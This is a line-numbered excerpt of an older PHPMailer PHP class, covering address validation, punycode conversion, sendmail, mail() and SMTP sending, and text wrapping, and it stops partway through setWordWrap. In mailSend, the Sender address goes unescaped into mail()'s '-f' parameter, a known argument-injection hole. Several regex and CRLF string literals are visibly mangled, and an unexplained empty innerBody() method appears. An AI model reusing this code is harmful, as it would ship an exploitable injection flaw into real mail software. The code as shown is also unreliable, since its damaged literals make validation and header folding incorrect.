  1027. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1028. //Constant was added in PHP 5.2.4
  1029. if (defined('PCRE_VERSION')) {
  1030. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1031. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1032. $patternselect = 'pcre8';
  1033. } else {
  1034. $patternselect = 'pcre';
  1035. }
  1036. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1037. //Fall back to older PCRE
  1038. $patternselect = 'pcre';
  1039. } else {
  1040. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1041. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1042. $patternselect = 'php';
  1043. } else {
  1044. $patternselect = 'noregex';
  1045. }
  1046. }
  1047. }
  1048. switch ($patternselect) {
  1049. case 'pcre8':
  1050. /**
  1051. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1052. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1053. * @copyright 2009-2010 Michael Rushton
  1054. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1055. */
  1056. return (boolean)preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>
  1057. )?[ ])+|(?>[ ]*
  1058. )?[ ]+)?)(\((?>(?2)' . '(?>[- -\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[- -!#-\[\]-]|\[-]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
  1059. case 'pcre':
  1060. //An older regex that doesn't need a recent PCRE
  1061. return (boolean)preg_match('/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[- -!#-\[\]-]|\[-]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[- -!#-\[\]-]|\[-]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
  1062. case 'html5':
  1063. /**
  1064. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1065. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1066. */
  1067. return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address);
  1068. case 'noregex':
  1069. //No PCRE! Do something _very_ approximate!
  1070. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1071. return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  1072. case 'php':
  1073. default:
  1074. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1075. }
  1076. }
  1077. /**
  1078. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1079. * "intl" and "mbstring" PHP extensions.
  1080. * @return bool "true" if required functions for IDN support are present
  1081. */
  1082. public function idnSupported() {
  1083. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1084. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1085. }
  1086. /**
  1087. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1088. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1089. * This function silently returns unmodified address if:
  1090. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1091. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1092. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1093. * @see PHPMailer::$CharSet
  1094. * @param string $address The email address to convert
  1095. * @return string The encoded address in ASCII form
  1096. */
  1097. public function punyencodeAddress($address) {
  1098. // Verify we have required functions, CharSet, and at-sign.
  1099. if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, '@')) !== false) {
  1100. $domain = substr($address, ++$pos);
  1101. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1102. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1103. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1104. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) {
  1105. return substr($address, 0, $pos) . $punycode;
  1106. }
  1107. }
  1108. }
  1109. return $address;
  1110. }
  1111. /**
  1112. * Create a message and send it.
  1113. * Uses the sending method specified by $Mailer.
  1114. * @throws phpmailerException
  1115. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1116. */
  1117. public function send() {
  1118. try {
  1119. if (!$this->preSend()) {
  1120. return false;
  1121. }
  1122. return $this->postSend();
  1123. }
  1124. catch(phpmailerException $exc) {
  1125. $this->mailHeader = '';
  1126. $this->setError($exc->getMessage());
  1127. if ($this->exceptions) {
  1128. throw $exc;
  1129. }
  1130. return false;
  1131. }
  1132. }
  1133. /**
  1134. * Prepare a message for sending.
  1135. * @throws phpmailerException
  1136. * @return boolean
  1137. */
  1138. public function preSend() {
  1139. try {
  1140. $this->error_count = 0; // Reset errors
  1141. $this->mailHeader = '';
  1142. // Dequeue recipient and Reply-To addresses with IDN
  1143. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1144. $params[1] = $this->punyencodeAddress($params[1]);
  1145. call_user_func_array(array($this, 'addAnAddress'), $params);
  1146. }
  1147. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1148. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1149. }
  1150. // Validate From, Sender, and ConfirmReadingTo addresses
  1151. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1152. $this->$address_kind = trim($this->$address_kind);
  1153. if (empty($this->$address_kind)) {
  1154. continue;
  1155. }
  1156. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1157. if (!$this->validateAddress($this->$address_kind)) {
  1158. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1159. $this->setError($error_message);
  1160. $this->edebug($error_message);
  1161. if ($this->exceptions) {
  1162. throw new phpmailerException($error_message);
  1163. }
  1164. return false;
  1165. }
  1166. }
  1167. // Set whether the message is multipart/alternative
  1168. if (!empty($this->AltBody)) {
  1169. $this->ContentType = 'multipart/alternative';
  1170. }
  1171. $this->setMessageType();
  1172. // Refuse to send an empty message unless we are specifically allowing it
  1173. if (!$this->AllowEmpty and empty($this->Body)) {
  1174. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1175. }
  1176. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1177. $this->MIMEHeader = '';
  1178. $this->MIMEBody = $this->createBody();
  1179. // createBody may have added some headers, so retain them
  1180. $tempheaders = $this->MIMEHeader;
  1181. $this->MIMEHeader = $this->createHeader();
  1182. $this->MIMEHeader.= $tempheaders;
  1183. // To capture the complete message when using mail(), create
  1184. // an extra header list which createHeader() doesn't fold in
  1185. if ($this->Mailer == 'mail') {
  1186. if (count($this->to) > 0) {
  1187. $this->mailHeader.= $this->addrAppend('To', $this->to);
  1188. } else {
  1189. $this->mailHeader.= $this->headerLine('To', 'undisclosed-recipients:;');
  1190. }
  1191. $this->mailHeader.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))));
  1192. }
  1193. // Sign with DKIM if enabled
  1194. if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && file_exists($this->DKIM_private)) {
  1195. $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
  1196. $this->MIMEHeader = rtrim($this->MIMEHeader, "
  1197. ") . self::CRLF . str_replace("
  1198. ", "
  1199. ", $header_dkim) . self::CRLF;
  1200. }
  1201. return true;
  1202. }
  1203. catch(phpmailerException $exc) {
  1204. $this->setError($exc->getMessage());
  1205. if ($this->exceptions) {
  1206. throw $exc;
  1207. }
  1208. return false;
  1209. }
  1210. }
  1211. public function innerBody() {
  1212. }
  1213. /**
  1214. * Actually send a message.
  1215. * Send the email via the selected mechanism
  1216. * @throws phpmailerException
  1217. * @return boolean
  1218. */
  1219. public function postSend() {
  1220. try {
  1221. // Choose the mailer and send through it
  1222. switch ($this->Mailer) {
  1223. case 'sendmail':
  1224. case 'qmail':
  1225. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1226. case 'smtp':
  1227. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1228. case 'mail':
  1229. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1230. default:
  1231. $sendMethod = $this->Mailer . 'Send';
  1232. if (method_exists($this, $sendMethod)) {
  1233. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1234. }
  1235. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1236. }
  1237. }
  1238. catch(phpmailerException $exc) {
  1239. $this->setError($exc->getMessage());
  1240. $this->edebug($exc->getMessage());
  1241. if ($this->exceptions) {
  1242. throw $exc;
  1243. }
  1244. }
  1245. return false;
  1246. }
  1247. /**
  1248. * Send mail using the $Sendmail program.
  1249. * @param string $header The message headers
  1250. * @param string $body The message body
  1251. * @see PHPMailer::$Sendmail
  1252. * @throws phpmailerException
  1253. * @access protected
  1254. * @return boolean
  1255. */
  1256. protected function sendmailSend($header, $body) {
  1257. if ($this->Sender != '') {
  1258. if ($this->Mailer == 'qmail') {
  1259. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1260. } else {
  1261. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1262. }
  1263. } else {
  1264. if ($this->Mailer == 'qmail') {
  1265. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1266. } else {
  1267. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1268. }
  1269. }
  1270. if ($this->SingleTo) {
  1271. foreach ($this->SingleToArray as $toAddr) {
  1272. if (!@$mail = popen($sendmail, 'w')) {
  1273. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1274. }
  1275. fputs($mail, 'To: ' . $toAddr . "
  1276. ");
  1277. fputs($mail, $header);
  1278. fputs($mail, $body);
  1279. $result = pclose($mail);
  1280. $this->doCallback(($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1281. if ($result != 0) {
  1282. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1283. }
  1284. }
  1285. } else {
  1286. if (!@$mail = popen($sendmail, 'w')) {
  1287. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1288. }
  1289. fputs($mail, $header);
  1290. fputs($mail, $body);
  1291. $result = pclose($mail);
  1292. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1293. if ($result != 0) {
  1294. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1295. }
  1296. }
  1297. return true;
  1298. }
  1299. /**
  1300. * Send mail using the PHP mail() function.
  1301. * @param string $header The message headers
  1302. * @param string $body The message body
  1303. * @link http://www.php.net/manual/en/book.mail.php
  1304. * @throws phpmailerException
  1305. * @access protected
  1306. * @return boolean
  1307. */
  1308. protected function mailSend($header, $body) {
  1309. $toArr = array();
  1310. foreach ($this->to as $toaddr) {
  1311. $toArr[] = $this->addrFormat($toaddr);
  1312. }
  1313. $to = implode(', ', $toArr);
  1314. if (empty($this->Sender)) {
  1315. $params = ' ';
  1316. } else {
  1317. $params = sprintf('-f%s', $this->Sender);
  1318. }
  1319. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1320. $old_from = ini_get('sendmail_from');
  1321. ini_set('sendmail_from', $this->Sender);
  1322. }
  1323. $result = false;
  1324. if ($this->SingleTo && count($toArr) > 1) {
  1325. foreach ($toArr as $toAddr) {
  1326. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1327. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1328. }
  1329. } else {
  1330. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1331. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1332. }
  1333. if (isset($old_from)) {
  1334. ini_set('sendmail_from', $old_from);
  1335. }
  1336. if (!$result) {
  1337. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1338. }
  1339. return true;
  1340. }
  1341. /**
  1342. * Get an instance to use for SMTP operations.
  1343. * Override this function to load your own SMTP implementation
  1344. * @return SMTP
  1345. */
  1346. public function getSMTPInstance() {
  1347. if (!is_object($this->smtp)) {
  1348. $this->smtp = new SMTP;
  1349. }
  1350. return $this->smtp;
  1351. }
  1352. /**
  1353. * Send mail via SMTP.
  1354. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1355. * Uses the PHPMailerSMTP class by default.
  1356. * @see PHPMailer::getSMTPInstance() to use a different class.
  1357. * @param string $header The message headers
  1358. * @param string $body The message body
  1359. * @throws phpmailerException
  1360. * @uses SMTP
  1361. * @access protected
  1362. * @return boolean
  1363. */
  1364. protected function smtpSend($header, $body) {
  1365. $bad_rcpt = array();
  1366. if (!$this->smtpConnect($this->SMTPOptions)) {
  1367. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1368. }
  1369. if ('' == $this->Sender) {
  1370. $smtp_from = $this->From;
  1371. } else {
  1372. $smtp_from = $this->Sender;
  1373. }
  1374. if (!$this->smtp->mail($smtp_from)) {
  1375. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1376. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1377. }
  1378. // Attempt to send to all recipients
  1379. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1380. foreach ($togroup as $to) {
  1381. if (!$this->smtp->recipient($to[0])) {
  1382. $error = $this->smtp->getError();
  1383. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1384. $isSent = false;
  1385. } else {
  1386. $isSent = true;
  1387. }
  1388. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1389. }
  1390. }
  1391. // Only send the DATA command if we have viable recipients
  1392. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1393. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1394. }
  1395. if ($this->SMTPKeepAlive) {
  1396. $this->smtp->reset();
  1397. } else {
  1398. $this->smtp->quit();
  1399. $this->smtp->close();
  1400. }
  1401. //Create error message for any bad addresses
  1402. if (count($bad_rcpt) > 0) {
  1403. $errstr = '';
  1404. foreach ($bad_rcpt as $bad) {
  1405. $errstr.= $bad['to'] . ': ' . $bad['error'];
  1406. }
  1407. throw new phpmailerException($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
  1408. }
  1409. return true;
  1410. }
  1411. /**
  1412. * Initiate a connection to an SMTP server.
  1413. * Returns false if the operation failed.
  1414. * @param array $options An array of options compatible with stream_context_create()
  1415. * @uses SMTP
  1416. * @access public
  1417. * @throws phpmailerException
  1418. * @return boolean
  1419. */
  1420. public function smtpConnect($options = array()) {
  1421. if (is_null($this->smtp)) {
  1422. $this->smtp = $this->getSMTPInstance();
  1423. }
  1424. // Already connected?
  1425. if ($this->smtp->connected()) {
  1426. return true;
  1427. }
  1428. $this->smtp->setTimeout($this->Timeout);
  1429. $this->smtp->setDebugLevel($this->SMTPDebug);
  1430. $this->smtp->setDebugOutput($this->Debugoutput);
  1431. $this->smtp->setVerp($this->do_verp);
  1432. $hosts = explode(';', $this->Host);
  1433. $lastexception = null;
  1434. foreach ($hosts as $hostentry) {
  1435. $hostinfo = array();
  1436. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1437. // Not a valid host entry
  1438. continue;
  1439. }
  1440. // $hostinfo[2]: optional ssl or tls prefix
  1441. // $hostinfo[3]: the hostname
  1442. // $hostinfo[4]: optional port number
  1443. // The host string prefix can temporarily override the current setting for SMTPSecure
  1444. // If it's not specified, the default value is used
  1445. $prefix = '';
  1446. $secure = $this->SMTPSecure;
  1447. $tls = ($this->SMTPSecure == 'tls');
  1448. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1449. $prefix = 'ssl://';
  1450. $tls = false; // Can't have SSL and TLS at the same time
  1451. $secure = 'ssl';
  1452. } elseif ($hostinfo[2] == 'tls') {
  1453. $tls = true;
  1454. // tls doesn't use a prefix
  1455. $secure = 'tls';
  1456. }
  1457. //Do we need the OpenSSL extension?
  1458. $sslext = defined('OPENSSL_ALGO_SHA1');
  1459. if ('tls' === $secure or 'ssl' === $secure) {
  1460. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1461. if (!$sslext) {
  1462. throw new phpmailerException($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
  1463. }
  1464. }
  1465. $host = $hostinfo[3];
  1466. $port = $this->Port;
  1467. $tport = (integer)$hostinfo[4];
  1468. if ($tport > 0 and $tport < 65536) {
  1469. $port = $tport;
  1470. }
  1471. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1472. try {
  1473. if ($this->Helo) {
  1474. $hello = $this->Helo;
  1475. } else {
  1476. $hello = $this->serverHostname();
  1477. }
  1478. $this->smtp->hello($hello);
  1479. //Automatically enable TLS encryption if:
  1480. // * it's not disabled
  1481. // * we have openssl extension
  1482. // * we are not already using SSL
  1483. // * the server offers STARTTLS
  1484. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1485. $tls = true;
  1486. }
  1487. if ($tls) {
  1488. if (!$this->smtp->startTLS()) {
  1489. throw new phpmailerException($this->lang('connect_host'));
  1490. }
  1491. // We must resend HELO after tls negotiation
  1492. $this->smtp->hello($hello);
  1493. }
  1494. if ($this->SMTPAuth) {
  1495. if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
  1496. throw new phpmailerException($this->lang('authenticate'));
  1497. }
  1498. }
  1499. return true;
  1500. }
  1501. catch(phpmailerException $exc) {
  1502. $lastexception = $exc;
  1503. $this->edebug($exc->getMessage());
  1504. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1505. $this->smtp->quit();
  1506. }
  1507. }
  1508. }
  1509. // If we get here, all connection attempts have failed, so close connection hard
  1510. $this->smtp->close();
  1511. // As we've caught all exceptions, just report whatever the last one was
  1512. if ($this->exceptions and !is_null($lastexception)) {
  1513. throw $lastexception;
  1514. }
  1515. return false;
  1516. }
  1517. /**
  1518. * Close the active SMTP session if one exists.
  1519. * @return void
  1520. */
  1521. public function smtpClose() {
  1522. if ($this->smtp !== null) {
  1523. if ($this->smtp->connected()) {
  1524. $this->smtp->quit();
  1525. $this->smtp->close();
  1526. }
  1527. }
  1528. }
  1529. /**
  1530. * Set the language for error messages.
  1531. * Returns false if it cannot load the language file.
  1532. * The default language is English.
  1533. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1534. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1535. * @return boolean
  1536. * @access public
  1537. */
  1538. public function setLanguage($langcode = 'en', $lang_path = '') {
  1539. // Define full set of translatable strings in English
  1540. $PHPMAILER_LANG = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: ');
  1541. if (empty($lang_path)) {
  1542. // Calculate an absolute path so it can work if CWD is not here
  1543. $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
  1544. }
  1545. $foundlang = true;
  1546. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1547. // There is no English translation file
  1548. if ($langcode != 'en') {
  1549. // Make sure language file path is readable
  1550. if (!is_readable($lang_file)) {
  1551. $foundlang = false;
  1552. } else {
  1553. // Overwrite language-specific strings.
  1554. // This way we'll never have missing translation keys.
  1555. $foundlang = include $lang_file;
  1556. }
  1557. }
  1558. $this->language = $PHPMAILER_LANG;
  1559. return (boolean)$foundlang; // Returns false if language not found
  1560. }
  1561. /**
  1562. * Get the array of strings for the current language.
  1563. * @return array
  1564. */
  1565. public function getTranslations() {
  1566. return $this->language;
  1567. }
  1568. /**
  1569. * Create recipient headers.
  1570. * @access public
  1571. * @param string $type
  1572. * @param array $addr An array of recipient,
  1573. * where each recipient is a 2-element indexed array with element 0 containing an address
  1574. * and element 1 containing a name, like:
  1575. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1576. * @return string
  1577. */
  1578. public function addrAppend($type, $addr) {
  1579. $addresses = array();
  1580. foreach ($addr as $address) {
  1581. $addresses[] = $this->addrFormat($address);
  1582. }
  1583. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1584. }
  1585. /**
  1586. * Format an address for use in a message header.
  1587. * @access public
  1588. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1589. * like array('joe@example.com', 'Joe User')
  1590. * @return string
  1591. */
  1592. public function addrFormat($addr) {
  1593. if (empty($addr[1])) { // No name provided
  1594. return $this->secureHeader($addr[0]);
  1595. } else {
  1596. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>';
  1597. }
  1598. }
  1599. /**
  1600. * Word-wrap message.
  1601. * For use with mailers that do not automatically perform wrapping
  1602. * and for quoted-printable encoded messages.
  1603. * Original written by philippe.
  1604. * @param string $message The message to wrap
  1605. * @param integer $length The line length to wrap to
  1606. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1607. * @access public
  1608. * @return string
  1609. */
  1610. public function wrapText($message, $length, $qp_mode = false) {
  1611. if ($qp_mode) {
  1612. $soft_break = sprintf(' =%s', $this->LE);
  1613. } else {
  1614. $soft_break = $this->LE;
  1615. }
  1616. // If utf-8 encoding is used, we will need to make sure we don't
  1617. // split multibyte characters when we wrap
  1618. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1619. $lelen = strlen($this->LE);
  1620. $crlflen = strlen(self::CRLF);
  1621. $message = $this->fixEOL($message);
  1622. //Remove a trailing line break
  1623. if (substr($message, -$lelen) == $this->LE) {
  1624. $message = substr($message, 0, -$lelen);
  1625. }
  1626. //Split message into lines
  1627. $lines = explode($this->LE, $message);
  1628. //Message will be rebuilt in here
  1629. $message = '';
  1630. foreach ($lines as $line) {
  1631. $words = explode(' ', $line);
  1632. $buf = '';
  1633. $firstword = true;
  1634. foreach ($words as $word) {
  1635. if ($qp_mode and (strlen($word) > $length)) {
  1636. $space_left = $length - strlen($buf) - $crlflen;
  1637. if (!$firstword) {
  1638. if ($space_left > 20) {
  1639. $len = $space_left;
  1640. if ($is_utf8) {
  1641. $len = $this->utf8CharBoundary($word, $len);
  1642. } elseif (substr($word, $len - 1, 1) == '=') {
  1643. $len--;
  1644. } elseif (substr($word, $len - 2, 1) == '=') {
  1645. $len-= 2;
  1646. }
  1647. $part = substr($word, 0, $len);
  1648. $word = substr($word, $len);
  1649. $buf.= ' ' . $part;
  1650. $message.= $buf . sprintf('=%s', self::CRLF);
  1651. } else {
  1652. $message.= $buf . $soft_break;
  1653. }
  1654. $buf = '';
  1655. }
  1656. while (strlen($word) > 0) {
  1657. if ($length <= 0) {
  1658. break;
  1659. }
  1660. $len = $length;
  1661. if ($is_utf8) {
  1662. $len = $this->utf8CharBoundary($word, $len);
  1663. } elseif (substr($word, $len - 1, 1) == '=') {
  1664. $len--;
  1665. } elseif (substr($word, $len - 2, 1) == '=') {
  1666. $len-= 2;
  1667. }
  1668. $part = substr($word, 0, $len);
  1669. $word = substr($word, $len);
  1670. if (strlen($word) > 0) {
  1671. $message.= $part . sprintf('=%s', self::CRLF);
  1672. } else {
  1673. $buf = $part;
  1674. }
  1675. }
  1676. } else {
  1677. $buf_o = $buf;
  1678. if (!$firstword) {
  1679. $buf.= ' ';
  1680. }
  1681. $buf.= $word;
  1682. if (strlen($buf) > $length and $buf_o != '') {
  1683. $message.= $buf_o . $soft_break;
  1684. $buf = $word;
  1685. }
  1686. }
  1687. $firstword = false;
  1688. }
  1689. $message.= $buf . self::CRLF;
  1690. }
  1691. return $message;
  1692. }
  1693. /**
  1694. * Find the last character boundary prior to $maxLength in a utf-8
  1695. * quoted-printable encoded string.
  1696. * Original written by Colin Brown.
  1697. * @access public
  1698. * @param string $encodedText utf-8 QP text
  1699. * @param integer $maxLength Find the last character boundary prior to this length
  1700. * @return integer
  1701. */
  1702. public function utf8CharBoundary($encodedText, $maxLength) {
  1703. $foundSplitPos = false;
  1704. $lookBack = 3;
  1705. while (!$foundSplitPos) {
  1706. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1707. $encodedCharPos = strpos($lastChunk, '=');
  1708. if (false !== $encodedCharPos) {
  1709. // Found start of encoded character byte within $lookBack block.
  1710. // Check the encoded byte value (the 2 chars after the '=')
  1711. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1712. $dec = hexdec($hex);
  1713. if ($dec < 128) {
  1714. // Single byte character.
  1715. // If the encoded char was found at pos 0, it will fit
  1716. // otherwise reduce maxLength to start of the encoded char
  1717. if ($encodedCharPos > 0) {
  1718. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1719. }
  1720. $foundSplitPos = true;
  1721. } elseif ($dec >= 192) {
  1722. // First byte of a multi byte character
  1723. // Reduce maxLength to split at start of character
  1724. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1725. $foundSplitPos = true;
  1726. } elseif ($dec < 192) {
  1727. // Middle byte of a multi byte character, look further back
  1728. $lookBack+= 3;
  1729. }
  1730. } else {
  1731. // No encoded character found
  1732. $foundSplitPos = true;
  1733. }
  1734. }
  1735. return $maxLength;
  1736. }
  1737. /**
  1738. * Apply word wrapping to the message body.
  1739. * Wraps the message body to the number of chars set in the WordWrap property.
  1740. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1741. * This is called automatically by createBody(), so you don't need to call it yourself.
  1742. * @access public
  1743. * @return void
  1744. */
  1745. public function setWordWrap() {
  1746. if ($this->WordWrap < 1) {
  1747. return;
  1748. }
  1749. switch ($this->message_type) {
  1750. case 'alt':
  1751. case 'alt_inline':
  1752. case 'alt_attach':
  1753. case 'alt_inline_attach':
  1754. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1755. break;
  1756. default:
